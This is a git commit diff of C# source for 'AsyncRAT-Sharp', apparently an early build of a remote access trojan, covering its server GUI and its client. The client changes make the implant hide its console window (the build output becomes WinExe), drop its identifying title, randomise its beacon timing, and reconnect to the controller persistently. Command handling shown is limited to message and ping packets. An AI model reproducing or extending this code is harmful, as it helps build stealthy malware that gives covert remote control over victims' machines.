This commit is contained in:
NYAN CAT 2019-01-25 01:22:55 -08:00
parent 4921083766
commit af584d3810
6 changed files with 44 additions and 33 deletions

View File

@ -55,7 +55,7 @@
this.listView1.GridLines = true; this.listView1.GridLines = true;
this.listView1.Location = new System.Drawing.Point(0, 0); this.listView1.Location = new System.Drawing.Point(0, 0);
this.listView1.Name = "listView1"; this.listView1.Name = "listView1";
this.listView1.Size = new System.Drawing.Size(849, 372); this.listView1.Size = new System.Drawing.Size(849, 342);
this.listView1.TabIndex = 0; this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details; this.listView1.View = System.Windows.Forms.View.Details;
@ -119,10 +119,11 @@
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(849, 372); this.ClientSize = new System.Drawing.Size(849, 372);
this.Controls.Add(this.statusStrip1);
this.Controls.Add(this.listView1); this.Controls.Add(this.listView1);
this.Controls.Add(this.statusStrip1);
this.Name = "Form1"; this.Name = "Form1";
this.Text = "AsyncRAT-Sharp // NYAN CAT"; this.Text = "AsyncRAT-Sharp // NYAN CAT";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
this.Load += new System.EventHandler(this.Form1_Load); this.Load += new System.EventHandler(this.Form1_Load);
this.contextMenuStrip1.ResumeLayout(false); this.contextMenuStrip1.ResumeLayout(false);
this.statusStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false);

View File

@ -76,5 +76,10 @@ namespace AsyncRAT_Sharp
} }
} }
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
Environment.Exit(0);
}
} }
} }

View File

@ -27,6 +27,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV); Program.form1.listView1.Items.Insert(0, client.LV);
Settings.Online.Add(client);
})); }));
} }
break; break;

View File

@ -33,7 +33,6 @@ namespace AsyncRAT_Sharp.Sockets
MS = new MemoryStream(); MS = new MemoryStream();
LV = null; LV = null;
Read += HandlePacket.Read; Read += HandlePacket.Read;
Settings.Online.Add(this);
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
} }

View File

@ -5,7 +5,7 @@
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C3C49F45-2589-4E04-9C50-71B6035C14AE}</ProjectGuid> <ProjectGuid>{C3C49F45-2589-4E04-9C50-71B6035C14AE}</ProjectGuid>
<OutputType>Exe</OutputType> <OutputType>WinExe</OutputType>
<RootNamespace>Client</RootNamespace> <RootNamespace>Client</RootNamespace>
<AssemblyName>Client</AssemblyName> <AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion> <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
@ -23,7 +23,7 @@
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget> <PlatformTarget>x86</PlatformTarget>
<DebugType>pdbonly</DebugType> <DebugType>pdbonly</DebugType>
<Optimize>true</Optimize> <Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath> <OutputPath>bin\Release\</OutputPath>

View File

@ -29,7 +29,6 @@ namespace Client
static void Main(string[] args) static void Main(string[] args)
{ {
Console.Title = "AsyncRAT | Client";
InitializeClient(); InitializeClient();
while (true) while (true)
{ {
@ -54,18 +53,37 @@ namespace Client
MS = new MemoryStream(); MS = new MemoryStream();
BeginSend(SendInfo()); BeginSend(SendInfo());
TimerCallback T = new TimerCallback(Ping); TimerCallback T = new TimerCallback(Ping);
Tick = new Timer(T, null, 15000, 30000); Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
catch catch
{ {
Console.WriteLine("Disconnected!"); Console.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(5000)); Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
try Reconnect();
}
}
public static void Reconnect()
{
if (client.Connected == false)
{
if (Tick != null)
{ {
Tick.Dispose();
}
if (client != null)
{
client.Close();
client.Dispose(); client.Dispose();
} }
catch { }
if (MS != null)
{
MS.Dispose();
}
InitializeClient(); InitializeClient();
} }
} }
@ -85,11 +103,7 @@ namespace Client
{ {
if (client.Connected == false) if (client.Connected == false)
{ {
Tick.Dispose(); Reconnect();
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
} }
int Recevied = client.EndReceive(ar); int Recevied = client.EndReceive(ar);
@ -132,21 +146,13 @@ namespace Client
} }
else else
{ {
Tick.Dispose(); Reconnect();
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
} }
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
catch catch
{ {
Tick.Dispose(); Reconnect();
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
} }
} }
@ -159,13 +165,14 @@ namespace Client
{ {
case "MessageBox": case "MessageBox":
{ {
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
case "Ping": case "Ping":
{ {
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
Console.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
} }
@ -198,11 +205,7 @@ namespace Client
} }
catch catch
{ {
Tick.Dispose(); Reconnect();
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
} }
} }
} }
@ -214,7 +217,9 @@ namespace Client
client.EndSend(ar); client.EndSend(ar);
} }
catch catch
{ } {
Reconnect();
}
} }
} }
} }